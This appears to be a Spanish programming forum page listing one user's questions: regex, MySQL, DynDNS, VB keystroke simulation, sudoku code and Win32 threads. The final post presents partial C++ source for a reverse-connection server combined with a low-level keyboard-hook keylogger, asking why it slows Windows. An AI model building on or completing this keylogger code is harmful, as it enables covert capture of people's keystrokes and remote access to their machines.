Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - yovaninu

#1
Hola, quiza puedan echarme una mano en lo siguiente, deseo hacer un match a todo texto entre comillas que se encuentre entre un par de etiquetas especificas, por ejemplo


codigo cualquiera 1

<saludo>

"hola" <--- match a este
123
hola

</saludo>


---


<otro>

  "hola"

</otro>



La expresion regular que deseo que me ayuden es aquella que puede capturar el texto "hola" (con comillas dobles) que estan dentro de la '<saludo>' y '</saludo>' pero no el 'hola' que no esta entre comillas dobles.
#2
Bases de Datos / Consulta MySQL con MAX
14 Septiembre 2017, 15:43 PM
Hola a todos, ojala puedan ayudarme con esto simple:
Tengo una tabla asi

Tabla: "clientes"









IDNombreDinero
1Juan50
2Juan90
3Juan30

Lo que deseo obtener a través de una consulta de MySQL es el monto maximo que 'Juan' tiene en esas 3 filas, PERO el numero de fila, es decir, el resultado deberia ser:



2Juan90

Dado que es en la 2da fila en donde tiene mas dinero.

Al poner asi:

select id,nombre,max(dinero) from "clientes"


o asi:

select id,nombre,max(dinero) from "clientes" group by nombre


Me resulta asi


1Juan90

Dando a entender que el maximo dinero que juan tiene esta en la primera fila, cuando lo correcto es en la segunda.

Que estoy haciendo mal?

Desde ya les quedo agradecido.
#3
Temgo un router marcopolo y cuando veo la configuracion de internet me muestra esto:



Tecnología:   DSL
Protocolo:   PPPoE
Nombre de Usuario:   speedy
Velocidad de sincronización:   2.0 Mbps Downstream / 0.5 Mbps Upstream
Duración de la conexión:   0 horas, 27 minutos
Estado:   Conectado
Dirección IP:   100.86.195.162
Gateway por defecto:   10.115.7.71
Dirección IPv6:   fe81::3145:b51a:425e:d0da



Hasta ahi todo bien ya que entiendo que la IP que me asigna el ISP es 100.86.195.162, ahora cuando voy a cualquier pagina para ver CUALS ES MI IP me sale otra algo como por ejemplo: 190.47.16.32, mi pregunta es, cual es la diferencia, gracias por su tiempo.
#4
Redes / Dyn o NO-IP no me redirecciona
26 Marzo 2015, 18:45 PM
Amigos todos

Mi consulta es, cual podria ser las causas por las que ni DYN (de pago) o NO-IP (Gratuito) no me redirecciona hacia mi IP dinámica?.

POr ejemplo tengo configurado (en DYN) un host de la forma myhostp.homeunix.net ademas de tener instalado su cliente que se encarga de la redireccion (el DUC de NO-IP tambien), sin embargo una vez puestio en marcha nada funciona.

hace unos meses yo verificaba que la redireccion funcionaba haciendo un ping al host y la respueta era algo similar a esto:

Haciendo ping a xxx con 32 bytes de datos:
Respuesta desde xxx: bytes=32 tiempo<1m TTL=128
Respuesta desde xxx: bytes=32 tiempo<1m TTL=128
Respuesta desde xxx: bytes=32 tiempo<1m TTL=128
Respuesta desde xxx: bytes=32 tiempo<1m TTL=128


Donde xxx era mi ip dinamica o el host

ahora hago lo mismo pero el resultado es:

C:\Users\MIPCW>ping hostmsn.sytes.net

Haciendo ping a myhostp.homeunix.net [187.214.16.194] con 32 bytes de datos:
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.
Tiempo de espera agotado para esta solicitud.



Algo de esto trate de solucionar en un post anterior pero no se pudo llegar a una solución.

¿Que puede estar pasando?,

Gracias anticipadas.
#5
Hola amigos, dede ya gracias por sus opiniones.

Desde hace muchos años vengo trabajando o con NO-IP o con DYN (éste ultimo incluso de pago), para redireccionar mi IP un host 'x'; Bien esto siempre funcionaba, sin embargo de un momento a otro me parece que telefónica (o movistar en mi pais) me corta o impide esta opcion ya que ninguno de mis HOSTS que tengo configurado redirecciona a la IP que me toca, incluso, luego de muchas discusiones con Movistar, les pedí que cortaran el servicio con el fin de que reinicien mi linea, bueno lo hicieron, y conectaron nuevamente otra linea (con la idea de que se 'resetearia' y todo iria como antes), funcionó por 2 semanas y ahora pasa lo mismo que antes, ninguno de mis HOSTS apunta a mi IP, es más antes yo comprobaba que los HOSTS apuntaban a mi ip haciendo un PING 190.154.20.16 (por ejemplo) y salia respuesta, es decir TTL y todo eso (o ping host.host), pero ahora al poner dicho comando simplemente me dice "Tiempo de espera agotado para esta solicitud", deduzco que no es tema de puertos, ni del router ya que todo funcionaba bien.

Puede ser que Movistar o Telefónica me esté bloqueando?, le ha pasado a alguien mas?, o es un tema mío pero no se qué podría ser.

Saludos.
#6
Buenas amigos, espero puedan orientarme en mi problema:

Tengo una cuenta de pago en Dyns, he creado un host que es: superhost.homelinux.org, tambien he instalado el Dyns Updater, un cliente de esos tipicos que se encargan de actualizar la IP dinamica que nuestro proveedor nos cambia dia a dia, todo va bien hasta ahi, pues en el cliente actualizador incluso me muestra en color verde que el host esta activo y apuntando a mi IP dinamica, pues bien, si todo esto es correcto, y al hacer un simple comando ping en la consola de windows, me sale el mensaje "Tiempo de espera agotado para esta solicitud", aun cuando al poner este comando efectivamente me muestra que el host que he creado esta apuntando a mi IP dinamica, pero luego me sale el tipico mensaje ese 4 veces y por ende 100% perdidos, lde lo que deduzco que desde afuera no tengo acceso a mi host.

Es raro por que cuando hacia lo mismo con NO-IP y con su software cliente, todo esto funcionada bien e incluso gratuitamente.

Según he estado averiguando, pueda ser que el proveedor este bloqueando, pero bloqueando que? algun puerto? pero hasta aqui no necesito aún abrir algun puerto en el router verdad? pues entiendo que eso ya sera necesario para utilizarlo con alguna aplicación.

Por ultimo averigue que quiza este siendo listado en las 'listas negras' pero de eso no se mucho ni como salir de ahi.

En fin quiza alguien pueda orientarme.


Desde ya agradecido
#7
hola, he estado usando la api keybd_event para simular presionar teclas normales y otras pero para realizar una simulacion de combinacion de teclas como por ej. Alt+64 no me funciona, lo he estado haciendo asi:


Public Const Alt_iz = &HA4


   
   Call keybd_event(Alt_iz, 0, 0, 0) 'presionamos Alt Izquierdo
   Pulsar_Tecla (vbKeyNumpad6) 'presionamos 6 numerico
   Pulsar_Tecla (vbKeyNumpad4) 'presionamos 4 numerico
   Call keybd_event(Alt_iz, 0, KEYEVENTF_KEYUP, 0) 'soltamos la tecla Alt Izquierdo


La funcion Pulsar_Tecla es simple:


Sub Pulsar_Tecla(Tecla As Long)
   Call keybd_event(Tecla, 0, 0, 0)
   Call keybd_event(Tecla, 0, KEYEVENTF_KEYUP, 0)
End Sub


Y no funciona, alguien podria echarme una mano, y con otros simbolos? como por ej. el "/" o el "\".

Desde ya gracias por su ayuda.


#8
PHP / Ayuda con expresion Regular [Solucionado]
19 Agosto 2012, 07:01 AM
Usando un patron como expresion regular he logrado capturar una parte de mi cadena, el problema surge cuando el inicio y final del patron coincide con todo o parte de la cadena lo cual es incorrecto para mis propositos. Este es el codigo:



$cadena1 = "mi opiniooooon es que lo que no come lo bota";

$patron="/opini[\w\W]+n/";

echo "Resultado:".preg_replace($patron,"OPINION",$cadena1);



Como se observa el patron me debe permitir capturar la palabra 'opiniooooon' y  reemplazarlo por 'OPINION' (en mayusculas), lo cual es correcto.
El resultado es: mi OPINION es que lo que no come lo bota --- (OK)

Si la cadena cambia a "mi opiniooooon es que lo que no comen lo bota" (observese la letra 'n' de la palabra 'comen'), el resultado es: mi OPINION lo bota --- (Incorrecto),

De lo que deduzco que el patron hace que busque desde 'opini' hasta 'n' pero la 'n' de la palabra 'comen' y todo eso se reemplaza por OPINION y sigue el resto de la cadena.

Pregunta: ¿Como hacer para que el patron reconozca solo aquella palabra donde haga un match o una coincidencia?

Espero haberme explicado y desde ya gracias.
#9
Hola que tal, a ver si me ayudan a entender un poco mejor lo siguiente:
Un centro de atencion a clientes desea saber el % de atenciones que se realizo hasta la fecha y en general.

Ejemplo.

En ENERO se recibió 10 clientes de los cuales se atendio 5 (50% de atencion)
En FEBRERO se recibió 20 clientes de los cuales se atendio 2 (10% de atencion)
en MARZO se recibio 15 clientes de los cuales se atendio 9 (60% de atencion)

Si se desearia saber el porcentaje promedio de atencion en esos 3 meses, deberia sumar los de cada mes y dividirlos entre 3 verdad?, es decir (50+10+60)/3=40

40% de atencion a clientes en promedio por meses (I)

Ahora si lo vemos como el total de clientes que se recibio y el total que se atendio tenemos que en los tres meses se recibio un total de 45 (10+20+15) clientes de los cuales se atendio a 16(5+2+9), eso es:

35.55% de atenciones en total (II)

Mi duda es: ¿I y II no deberian ser iguales?
#10
Hola, desde ya gracias por sus aportes

por ejemplo tengo una tabla 'clientes' y un campo 'aportes'
algo asi:

Tabla:clientes
aportes
  1
  1
  2
  3
  4
  4
  1
  1
  2
  2

Si deseo agrupar usando group by con "select aportes from clientes group by aportes" obtengo:
1
2
3
4

el mismo resultado obtengo si lo hago con distinct

pero lo que deseo obtener (no se si se pueda con una consulta) es
1
2
3
4
1
2

espero haberme explicado.

Un saludo


#11
Hola que tal, estoy empezando con esto de las expresiones regulares, la siguiente me captura dentro de una cadena de texto todo lo que este dentro los simbolos de comnetarios de PHP por ejemplo:  

/* el comentario */


Esta seria su ER

ER="\/\*\s*([^\s]*)\s*\*\/"


Ahora si desearia capturar aquellos comentarios pero que estan en varias lineas, ¿Cual seria la expresion?
Es decir para comentarios tipo:

/* esto
es un
comentario */



He tratado de utilizar los modificadores de \n \r \m pero sin resultados.

Saludos


#12
Siempre que me he puesto a resolver algun sudoku mi primer problema era obtener los candidatos para cada celda vacia, luego de un largo quebradero de cabeza los hallaba pero cabia la posibilidad de caer en errores, algunos sudoku on-line te permitian ver todos los candidatos de una celda pero para sus propios sudokus, en mi caso mis sudokus son de mi telefono movil y alli no tengo tal opcion, de manera que me puse a codear en VB y he aqui este pequeño código que obtiene los candidatos para las celdas de un sudoku correctamente propuesto. Lo he hecho en el control MSHFlexGrid por lo que se debe agregar en los componentes para que el programa pueda ejecutar correctamente.

Es evidente que el programa NO RESUELVE un sudoku, lo cual me parece bien, pues para resolverlo, cada uno debe poder hacerlo y asi ejercitarse, ademas que terminarlo es bastante gratificante, aunque debe serlo tambien realizar un code que haga que el propio ordenador lo haga por nosotros. En fin gusto de cada uno, en mi caso prefiero resolverlo manualmente.

Bueno, sin mas, aquí el código para quien le sirva:

Option Explicit
'9 filas x 9 columnas
Dim Sud(1 To 9, 1 To 9) As Byte



Private Sub CMDLLenar_Click()

Dim f As Byte
Dim c As Byte


'cargamos el SUDOKU con sus valores originales FIJOS
Sud(1, 2) = 9
Sud(1, 4) = 6
Sud(1, 6) = 5

Sud(2, 7) = 8
Sud(2, 9) = 1

Sud(3, 1) = 2
Sud(3, 5) = 3
Sud(3, 8) = 6

Sud(4, 1) = 3
Sud(4, 2) = 8
Sud(4, 5) = 9

Sud(6, 5) = 1
Sud(6, 8) = 2
Sud(6, 9) = 7

Sud(7, 2) = 1
Sud(7, 5) = 8
Sud(7, 9) = 9

Sud(8, 1) = 6
Sud(8, 3) = 4

Sud(9, 4) = 2
Sud(9, 6) = 7
Sud(9, 8) = 5



'visualizamos el array en el Hierarchical
For c = 1 To 9
    For f = 1 To 9
     If Sud(f, c) <> 0 Then
      Colocar f, c, Sud(f, c)
     End If
    Next
Next

'coloreamos de rojo los numeros fijos para diferenciarlos de los candidatos
Dim fila1 As Integer
Dim columna1 As Integer
With H1
   ' Recorre las filas
    For fila1 = 0 To 8
        For columna1 = 0 To 8
        .Row = fila1
        .Col = columna1
         If Val(.Text) > 0 Then
            .CellForeColor = &HFF& 'rojooo
         End If
         Next
    Next
   
   
   
    'coloreamos algunas regiones para diferenciar
    For fila1 = 0 To 2
        For columna1 = 0 To 2
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(127, 220, 98)
         Next
    Next


    For fila1 = 3 To 5
        For columna1 = 3 To 5
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(127, 123, 208)
         Next
    Next

    For fila1 = 6 To 8
        For columna1 = 6 To 8
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(247, 123, 198)
         Next
    Next

    For fila1 = 0 To 2
        For columna1 = 6 To 8
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(247, 220, 198)
         Next
    Next

    For fila1 = 6 To 8
        For columna1 = 0 To 2
        .Row = fila1
        .Col = columna1
            .CellBackColor = RGB(47, 220, 198)
         Next
    Next

End With


End Sub

Private Sub Command1_Click()


'///////////// Iniciamos a visualizar los candidatos ///////////


Dim Candidatos As Byte

Dim Casas As Byte '9 regiones o casas

For Casas = 1 To 9 'buscaremos los candidatos en las 9 casas o regiones
    For Candidatos = 1 To 9
      BuscarCandidatos Casas, Candidatos 'buscamos los candidatos posibles en las 9 casas
    Next
Next
 

End Sub
'Funcion que busca un valor en la fila indicada
Private Function BuscarFila(Fila As Byte, ValorBuscado As Byte)
Dim c As Byte
For c = 1 To 9
If Sud(Fila, c) = ValorBuscado Then
  BuscarFila = True
  Exit Function
Else
BuscarFila = False
End If
Next
End Function
'Funcion que busca un valor en la columna indicada
Private Function BuscarColumna(Columna As Byte, ValorBuscado As Byte)
Dim f As Byte
For f = 1 To 9
If Sud(f, Columna) = ValorBuscado Then
  BuscarColumna = True
  Exit Function
  Else
  BuscarColumna = False
End If
Next

End Function

'Funcion que nos dice si un valor indicado existe o no en una region o casa indicada
Function Encontrar(Casa As Byte, Valor As Byte) As Boolean
Dim f As Byte, c As Byte
   
    If Casa = 1 Then 'quiere decir que se va a buscar en la casa 1
        For f = 1 To 3 'busqueda por filas
              For c = 1 To 3
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If
   
    If Casa = 2 Then 'quiere decir que se va a buscar en la casa 2
        For f = 1 To 3 'busqueda por filas
              For c = 4 To 6
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 3 Then 'quiere decir que se va a buscar en la casa 3
        For f = 1 To 3 'busqueda por filas
              For c = 7 To 9
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 4 Then
        For f = 4 To 6 'busqueda por filas
              For c = 1 To 3
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 5 Then
        For f = 4 To 6 'busqueda por filas
              For c = 4 To 6
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 6 Then
        For f = 4 To 6 'busqueda por filas
              For c = 7 To 9
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 7 Then
        For f = 7 To 9 'busqueda por filas
              For c = 1 To 3
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 8 Then
        For f = 7 To 9 'busqueda por filas
              For c = 4 To 6
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If

    If Casa = 9 Then
        For f = 7 To 9 'busqueda por filas
              For c = 7 To 9
                If Sud(f, c) = Valor Then
                 Encontrar = True
                 Exit Function
                End If
              Next
        Next
    End If


End Function

'procedimiento que simplemente coloca un valor en el Flex Grid
Private Sub Colocar(Fila As Byte, Columna As Byte, Valor As Byte)
Dim a As Byte, b As Byte
Dim fila1 As Integer
With H1
.TextMatrix(Fila - 1, Columna - 1) = .TextMatrix(Fila - 1, Columna - 1) & Valor
End With
End Sub


'iniciamos la busqueda de candidatos
Private Sub BuscarCandidatos(Casa As Byte, ValorBuscadoEnLaCasa As Byte)
Dim f1 As Byte
Dim f2 As Byte
Dim c1 As Byte
Dim c2 As Byte

'establemos las coordenadas para cada region o casa
Select Case Casa

Case 1:
  f1 = 1
  f2 = 3
  c1 = 1
  c2 = 3
 
Case 2:
  f1 = 1
  f2 = 3
  c1 = 4
  c2 = 6

Case 3:
  f1 = 1
  f2 = 3
  c1 = 7
  c2 = 9
 
Case 4:
  f1 = 4
  f2 = 6
  c1 = 1
  c2 = 3
 
Case 5:
  f1 = 4
  f2 = 6
  c1 = 4
  c2 = 6
 
Case 6:
  f1 = 4
  f2 = 6
  c1 = 7
  c2 = 9
 
Case 7:
  f1 = 7
  f2 = 9
  c1 = 1
  c2 = 3
 
Case 8:
  f1 = 7
  f2 = 9
  c1 = 4
  c2 = 6

Case 9:
  f1 = 7
  f2 = 9
  c1 = 7
  c2 = 9

End Select

Dim f As Byte
Dim c As Byte


     If Encontrar(Casa, ValorBuscadoEnLaCasa) = False Then 'si el valor buscado no es un numero FIJO
         
        For f = f1 To f2 'busqueda por filas
              For c = c1 To c2
                      If Sud(f, c) = 0 Then 'si esta vacio entonces alli debemos poner un candidato
                            'para que sea candidato, no debe estar ni en la fila ni en la columna (mucho menos en la region o casa)
                            If BuscarFila(f, ValorBuscadoEnLaCasa) = False And BuscarColumna(c, ValorBuscadoEnLaCasa) = False Then
                              Colocar f, c, ValorBuscadoEnLaCasa 'de ser asi entonces se considera como candidato
                            End If
                      End If
              Next
        Next
       
     End If
End Sub

Private Sub Form_Load()
Dim f As Byte, c As Byte
For f = 0 To 8
H1.RowHeight(f) = 700
Next
For f = 0 To 8
H1.ColWidth(f) = 700
Next
End Sub



El sudoku propuesto: (Boton Iniciar Sudoku)


El sudoku propuesto con todos sus candidatos: (Boton Encontrar Candidatos)
#13
Buenas a todos, googleando, encontre este ejemplo de creacion de un HILO y modificandolo un poco llama a una funcion y ésta a su vez ejecuta un bucle de 1000 iteraciones, al hacerlo correr en VS2005, la ventana tipica aparece pero al parecer la aplicacion o no crea el hilo o no detecta cuando éste ha terminado, les dejo el codigo:
Código (cpp) [Seleccionar]

#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE
#include <windows.h>
#include <stdlib.h>
#include <string.h>
#include <tchar.h>
#include <string>
#include <atlstr.h>

/*Declaraciones para nuestro hilo*/
DWORD WINAPI ThreadFunc( LPVOID );
UINT TerminoProceso;
static DWORD dwThreadId;
static HANDLE hThread=NULL;
DWORD cod;
char cade[20];




MSG messages;

// Global variables
int a;
int b;
int c;
CString t;



// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");

// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");


HINSTANCE hInst; //variable global para

//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);

/************************************************************/
/************************FUNCION PRINCIPAL*******************/
/************************************************************/
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{


/*Creamos el hilo*/
hThread = CreateThread(
NULL, // sin atributos de seguridad
0, // Tamaño de la pila por defecto
ThreadFunc, // Funcion del hilo
        hInstance, // argumento de la funcion del hilo (pasado por referencia)
0, // creacion de banderas por defecto
&dwThreadId); // puntero a la variable donde se guardara el id del hilo




    //Esta estructura contiene información sobre la ventana, tal como el icono de la aplicación,
//el color de fondo de la ventana, el nombre que aparece en la barra de título,
//el nombre de la función de procedimiento de ventana, etc.
WNDCLASSEX wcex;

    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    if (!RegisterClassEx(&wcex)){
        MessageBox(NULL,
            _T("Call to RegisterClassEx failed!"),
            _T("Win32 Guided Tour"),
            NULL);
        return 1;
    }   
hInst = hInstance;
    HWND hWnd = CreateWindow(
        szWindowClass,
        szTitle,
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT,
        500, 200,
        NULL,
        NULL,
        hInstance,
        NULL
    );
    ShowWindow(hWnd,
        nCmdShow);
    UpdateWindow(hWnd);

    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int) msg.wParam;
}




/*Funcion que sera ejecutada por el HILO*/
DWORD WINAPI ThreadFunc( LPVOID lpParam )
{
int i,j=0,l=0;
HWND *mhwnd,mHwnd;
   
mhwnd=(HWND*)lpParam;
mHwnd=*mhwnd;


for(i=0;i<10000;i++)
{
j++;
}
PostMessage(mHwnd,TerminoProceso,0,0); //cuando finalice...
return (DWORD)l;
}


//Callback de los mensajes...
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Probando Hilos...");

   

/*para reconocer cuando termina el HILO y asi poder destruirlo*/
if(message==TerminoProceso)
{
cod=GetExitCodeThread(hThread,&cod);
while(cod==STILL_ACTIVE)
{
GetExitCodeThread(hThread,&cod);
}
a=(int)cod;
itoa(a,cade,10);
MessageBoxW(hWnd,L"dddd",L"info",MB_ICONINFORMATION);
CloseHandle(hThread);
hThread=NULL;
return 0;
}

   
//procesamos los mensajes principales
switch (message)
    {

case WM_CREATE:
/*registramos un nuestro mensaje personalizado para detectar el momento en que el hilo termina*/
TerminoProceso=RegisterWindowMessage("ProcesoFin");
break;

    case WM_PAINT:
        hdc = BeginPaint(hWnd, &ps);
/*un mensaje comun en la ventana*/
        TextOut(hdc,5, 5,greeting, _tcslen(greeting));
        EndPaint(hWnd, &ps);
    break;


    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
        break;
    }

    return 0;
}



Pienso que estoy pasando mal algun parametro a CreateThread, alguna sugerencia.???
#14
Le he dado vueltas y vueltas al tema de Sockets para reescribir mi servidor en C++ (usando Visual Studio 2005) y llegue a este punto del cual me es imposible salir sin su ayuda, se que el codigo puede estar un tanto desordenado pero ruego que me entiendan  y desde ya gracias por su ayuda.

En fin posteo mi avance para que alguien que se anime a compilarlo y ver por que se dan los errores que explico a continuacion:

1. Es un proyecto normal de Win32 (Con ventana)
2. En la entrada principal al WinMain instalo el hook al teclado
3. Luego Inicializo el Socket
4. En el mensaje WM_CREATE, creo un timer cada 2 segundos
5. Al recibir el evento WM_TIMER, hago que mi timer envie la peticion cada 2 segundos. Y AL HACER ESTO, TODO WINDOWS QUEDA SEMI BLOQUEADO, LAS LETRAS TARDAN EN APARECER POR EJEMPLO EN EL BLOC DE NOTAS LAS VENTANAS DIFICILMENTE SE ARRASTRAN Y EL HOOK DEL KEYLOGGER FUNCIONA A MEDIAS AL NO LOGEAR ALGUNAS TECLAS DE LO QUE SE ESCRIBE.

PERO SI QUITO LAS LLAMADAS A LAS FUNCIONES QUE INICIALIZAN O CONECTAN EL SOCKET TODO FUNCIONA BIEN. LO QUE ME HACE PENSAR QUE ALGO VA MAL ALLI.








La idea de este codigo es un Server (Conexion Inversa) que deberia funcionar al lado de un Hook al teclado. 

Veamos:


  • Archivo->Nuevo->Proyecto->Aplicacion Win 32
  • ALT+F7->Propiedades de Configuracion->Juego de Caracteres->Multibyte


Código (cpp) [Seleccionar]


#define _WIN32_WINNT 0x0500
#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdlib.h>
#include <tchar.h>
#include <iostream>
#include <string>
#include <atlstr.h>
#include <stdio.h>
#include <winuser.h>
#pragma comment(lib,"ws2_32.lib")
using namespace std;



//FUNCION QUE MUESTRA EN EL TITULO LO QUE LE INDIQUEMOS, PARA FINES DE DEPURACION
void AlTitulo(char *Buffer);


//FUNCION DEL KEYLOGGER: MIRA SI LA TECLA CAPS ESTA PRESIONADA O NO
int isCapsLock(){
     if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0)   return 1;
     else   return 0; }

//CALLBACK DEL HOOK AL TECLADO
LRESULT CALLBACK capturaTeclas(int nCode, WPARAM wParam, LPARAM lParam);

//ALGUNAS VARIABLES PARA EL KEYLOGGER
HWND ventana; //EL HANDLE DE LA VENTANA ACTIVA
char TVentana[500]; //EL TITULO
char tp[500];
char bufferKL[5];
string HISTORY; //DONDE ACUMULAREMOS LO QUE SE ESTA DIGITANDO




//DEFINICIONES PARA NUESTRO SOCKET
WSADATA wsa;
SOCKET sock;
struct hostent *host;
struct sockaddr_in direc;
int conex;
int ts=-1;
int len=100;
char Buffer[1024];

//UNA FORMA DE SEPARAR LO QUE LLEGARA DESDE EL CLIENTE
void DArrival();


//FUNCIONES PARA MANIPULAR NUESTRO SOCKET

                       //INICIALIZAMOS NUESTRO SOCKET
void inicializar(){
   WSAStartup(MAKEWORD(2,2),&wsa);    
   host=gethostbyname("127.0.0.1");
   //creamos el socket
   sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   
   //direccion y puerto
   direc.sin_family=AF_INET;
   direc.sin_port=htons(1234);
   direc.sin_addr = *((struct in_addr *)host->h_addr);
   memset(direc.sin_zero,0,8);
   
}
                       
                       //CONECTAMOS, NOS DEVOLVERA UN VALOR SEGUN SI SE CONECTA O NO
int conectar(){
   //Intentamos establecer la conexión hasta que lo logremos
   conex=connect(sock,(sockaddr *)&direc, sizeof(sockaddr));
   return conex;
}

//PARA CERRAR EL SOCKET
                       void cerrar(){
closesocket(sock);
}



MSG messages; //PARA EL BUCLE DE MENSAJES DE LA APLICACION


#define TIMER_ID1 1 /*PRIMER TIMER QUE SE ENCARGARA DE LANZAR LOS INTENTOS DE CONEXION CADA 2 SEGUINDOS*/

// El nombre de la clase de la ventana principal
static TCHAR szWindowClass[] = _T("VentanaWin32");

// El texto que aparece en la ventana principal
static TCHAR szTitle[] = _T("Una ventana tipica de win32");


HINSTANCE hInst; //variable global sacar el HINSTANCE del WinMain

//El propósito de esta función es procesar cualquier mensaje que nuestra aplicación reciba del sistema operativo
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);



UINT mt; //PARA IDENTIFICAR A NUESTRO /*PRIMER TIMER*/

//FUNCION PRINCIPAL
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
/*ENTRADA PRINCIPAL: COMIENZA LA ODISEA...*/
{

len=sizeof(struct sockaddr); //INICIAMOS LEN PARA NUESTRO SOCKET
inicializar(); //INICIALIZAMOS EL SOCKET /*SI QUITO ESTO TODO VA BIEN, SINO WINDOWS VA MUY LENTO: PERO SI LO QUITO COMO Y DONDE INICIALIZO EL SOCKET??? */

        //INSTALAMOS EL HOOK AL TECLADO
HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,capturaTeclas,hInstance,0);


    //Esta estructura contiene información sobre la ventana
    WNDCLASSEX wcex;
    wcex.cbSize = sizeof(WNDCLASSEX);
    wcex.style          = CS_HREDRAW | CS_VREDRAW;
    wcex.lpfnWndProc    = WndProc;
    wcex.cbClsExtra     = 0;
    wcex.cbWndExtra     = 0;
    wcex.hInstance      = hInstance;
    wcex.hIcon          = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_ASTERISK));
    wcex.hCursor        = LoadCursor(NULL, IDC_ARROW);
    wcex.hbrBackground  = (HBRUSH)(COLOR_WINDOW+1);
    wcex.lpszMenuName   = NULL;
    wcex.lpszClassName  = szWindowClass;
    wcex.hIconSm        = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_ASTERISK));

    //registramos la clase
if (!RegisterClassEx(&wcex)) return 1;
   
    //almacenamos 'hInstance' que es un parametro de la funcion principal WinMain en una variable Global
hInst = hInstance;

    //parametros para crear la ventana  principal
HWND hWnd = CreateWindow(szWindowClass,szTitle,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT, CW_USEDEFAULT,500, 200,NULL,NULL,hInstance,NULL);

//mostramos la ventanA
    ShowWindow(hWnd,nCmdShow);
    UpdateWindow(hWnd);

   
   MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    return (int) msg.wParam;
}


//funcion para procesar los mensajes de la ventana principal
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    PAINTSTRUCT ps;
    HDC hdc;
    TCHAR greeting[] = _T("Hola A todos");

    switch (message)
    {
case WM_CREATE:
               /*CREAMOS NUESTRO TIMER QUE HARA QUE EL SOCKET LANZE LA PETICION DE CONEXION CADA 2 SEGUNDOS*/
mt=SetTimer(hWnd, TIMER_ID1, 2000, 0);
break;


        //USAMOS ESTE MENSAJE EN VEZ DE UN CALLBACK
case WM_TIMER:
switch (wParam){
case TIMER_ID1: /*<--- PRIMER TIMER */

      //CADA 2 SEGUNDOS INTENTARA CONECTAR
                                                       if(ts==-1){
ts=conectar(); /*IGUAL: SI QUITO ESTO VA BIEN PERO SINO WINDOWS VA MAL*/
                                                       //Y NOS AVISARA EN EL TITULO DE LA VENTANA
AlTitulo("Intento de conexion enviada...");
}
                                                       //CUANDO LOGRE CONECTARSE...
                                                        else{
DArrival(); //LLAMAMOS A ESTA FUNCION
KillTimer(NULL,mt);

}

break;



                                //MAS ADELANTE QUIZA NECESITEMOS UN SEGUNDO TIMER
//case TIMER_ID2: //<--- Segundo Timer
//break;
}

break;



    case WM_PAINT:
       hdc = BeginPaint(hWnd, &ps); //aqui iniciamos
      //MOSTRAMOS UN SALUDO
       TextOut(hdc,5, 5,greeting, _tcslen(greeting));
        EndPaint(hWnd, &ps); //aqui terminamos
    break;


    case WM_DESTROY:
        PostQuitMessage(0);
        break;

    default:
        return DefWindowProc(hWnd, message, wParam, lParam);
